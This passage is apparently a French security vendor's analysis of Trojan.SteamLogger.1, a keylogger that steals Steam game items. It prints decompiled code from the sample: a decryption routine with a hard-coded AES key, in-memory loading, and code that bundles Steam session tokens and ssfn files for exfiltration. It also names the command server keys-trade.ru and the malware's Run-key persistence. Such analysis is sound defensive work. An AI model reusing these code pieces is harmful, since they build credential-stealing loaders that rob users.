C'est un logiciel malveillant conçu pour voler des éléments de jeux des utilisateurs de Steam, notamment Dota 2, Counter-Strike: Global Offensive et Team Fortress 2, mais les malfaiteurs peuvent facilement le modifier pour voler des éléments d’autres jeux. Il est également capable d'enregistrer les frappes clavier (keylogging).
Le Trojan se compose de trois modules fonctionnels : dropper, modules secondaire et principal. Lors de son lancement le dropper du Trojan.SteamLogger.1 déchiffre le module principal et le module secondaire. Le déchiffrement est effectué en deux étapes :
- La lecture d'une image dans la mémoire avec une petite transformation :
public static byte[] D(byte[] text) { byte[] array = new byte[text.Length]; for (int i = 0; i < text.Length; i++) { array[i] = Convert.ToByte((int)text[i] - i - 27); } return array; }
- Le décryptage en utilisant l'algorithme AES :
private static byte[] code = new byte[] //AES key { 149, 133, 127, 135, 145, 135, 134, 144, 147, 141, 159, 138, 136 }; public byte[] SymmetricDecrypt(byte[] input, byte[] key) { byte[] result; using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) { rijndaelManaged.BlockSize = 128; rijndaelManaged.KeySize = 256; byte[] array = new byte[16]; byte[] rgbIV = new byte[array.Length]; Array.Copy(input, 0, array, 0, array.Length); byte[] array2 = new byte[input.Length - array.Length]; Array.Copy(input, array.Length, array2, 0, array2.Length); rijndaelManaged.Mode = CipherMode.ECB; rijndaelManaged.Padding = PaddingMode.None; using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(key, null)) { rgbIV = cryptoTransform.TransformFinalBlock(array, 0, array.Length); } rijndaelManaged.Mode = CipherMode.CBC; rijndaelManaged.Padding = PaddingMode.PKCS7; using (ICryptoTransform cryptoTransform2 = rijndaelManaged.CreateDecryptor(key, rgbIV)) { using (MemoryStream memoryStream = new MemoryStream(array2)) { using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform2, CryptoStreamMode.Read)) { byte[] array3 = new byte[array2.Length]; int num = cryptoStream.Read(array3, 0, array3.Length); byte[] array4 = new byte[num]; Array.Copy(array3, 0, array4, 0, num); result = array4; } } } } return result; }
Une fois le déchiffrementachevé, le dropper sauvegarde le module secondaire dans le dossier %TEMP% sous le nom Update.exe et le lance. Le module principale est chargé dans la mémoire via la méthode Assembly.Load() :
Assembly assembly = Assembly.Load(array);
program.Invoke(assembly, assembly.EntryPoint);
Puis le logiciel malveillant télécharge depuis le site hxxp://keys-trade.ru/trade/?image= une image et la sauvegarde sur l'ordinateur infecté dans le dossier %TEMP% sous le nom %process_name%.jpg, puis l'affiche sur l'écran :
Le module secondaire vérifie la présence du dossier %ProgramFiles%"+ " (x86)\Common Files\Steam\ et s’il ne le trouve pas, le crée. Puis ce module se copie dans ce dossier sous le nom SteamService.exe, établit ses propriétés comme " système " et " masqué ", puis écrit le chemin vers ce fichier dans la branche du registre système HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, responsable du lancement automatique des applications et le lance.
Il envoie ensuite une requête POST au serveur des malfaiteurs (hxxp://keys-trade.ru/bot/check="), et s'il ne reçoit pas la réponse " OK ", il essaie de se connecter au serveur de gestion via un des serveurs proxy, dont la liste est stockée dans le corps du Trojan.
Le Trojan transmet au serveur de gestion hxxp://keys-trade.ru/bot/ des données sur l'ordinateur infecté (la version de l'OS, son type, ainsi que l'identificateur unique du malware, calculé en utilisant le numéro de série du disque dur sur lequel la partition C est placée). Toutes les 50 minutes le Trojan envoie à ce serveur la requête POST et s'il reçoit la commande download, il télécharge et installe une nouvelle version du module secondaire, en remplaçant le fichier exécutable, stocké dans le dossier %TEMP%\Update.exe.
Lors de son lancement, le module principal vérifie la disponibilité du serveur de gestion et après son initialisation, il recherche dans la mémoire de l'ordinateur infecté le processus portant le nom Steam et vérifie si l'utilisateur a accédé à son compte. Si non, le logiciel malveillant attend l'autorisation du joueur, puis récupère l'info sur ce compte Steam (SteamGuard, steam-id, security token) et envoie ces données aux malfaiteurs. Ensuite il attend la ligne contenant les données pour le transfert des éléments de jeux volés. Cette ligne a la forme suivante :
steam-id,partner,token|steam-id,partner,token|...
où steam-id, partner, token sont les paramètres pour la requête trade.
Puis le Trojan recherche dans le dossier Steam les fichiers de masque " ssfn* " et forme la ligne suivante :
ssfn_filename_1|ssfn_file1_data||ssfn_filename_2|ssfn_file2_data||...
il extrait également tout le contenu des fichiers stockés dans le dossier config\ applications Steam et forme une autre ligne avec ces données, qu'il ajoute à la première, en remplaçant "-" par "". A la fin de la ligne, le Trojan écrit les données sur le compte de la victime, puis cette ligne est cryptée par l'algorithme BASE64 :
text = text + "steamLogin.txt|" + this.ToStrByte(this._token) + "||";
text = text + "steamLoginSecure.txt|" + this.ToStrByte(this._login_secure) + "||";
string text6 = text;
text = string.Concat(new string[]
{
text6,
"steamMachineAuth",
this._steam_id,
".txt|",
this.ToStrByte(this._machine_auth)
});
byte[] inArray = this.Compress(Encoding.UTF8.GetBytes(text));
text = "steam_id=" + this._steam_id + "&receive=" + Convert.ToBase64String(inArray);
Le Trojan reçoit depuis le serveur de gestion la liste des comptes utilisateurs auxquels il peut transférer les éléments de jeux de la victime. Toutes les données recueillies seront transmises à un serveur pirate, puis le Trojan vérifie si le démarrage automatique autorisé de Steam est activé, et s’il est désactivé, il lance le keylogger, qui transmet les données aux malfaiteurs toutes les 15 secondes.
Le Trojan vole les éléments de la victime qui correspondent aux filtres suivants :
private static int[] games = new int[]
{
570,
730,
440
};
string[] source = new string[]
{
"Mythical",
"Legendary",
"Arcana",
"Immortal"
};
string[] source2 = new string[]
{
"DOTA_WearableType_Treasure_Key"
};
string[] source3 = new string[]
{
"Container",
"Supply Crate"
};
Le Trojan cible les jeux suivants : Dota 2, Counter-Strike: Global Offensive et Team Fortress 2. Le logiciel malveillant tente de voler les éléments de jeux les plus précieux, les clés pour les coffres et les coffres. Il surveille également l'activité du joueur et s'il essaie de vendre un élément, le Trojan tente de supprimer cet élément de la vente. Le Trojan envoie tous les éléments volés à l'un des comptes des malfaiteurs.
Pour vendre les clés pour les coffres de Dota 2 les malfaiteurs ont créé une boutique en-ligne :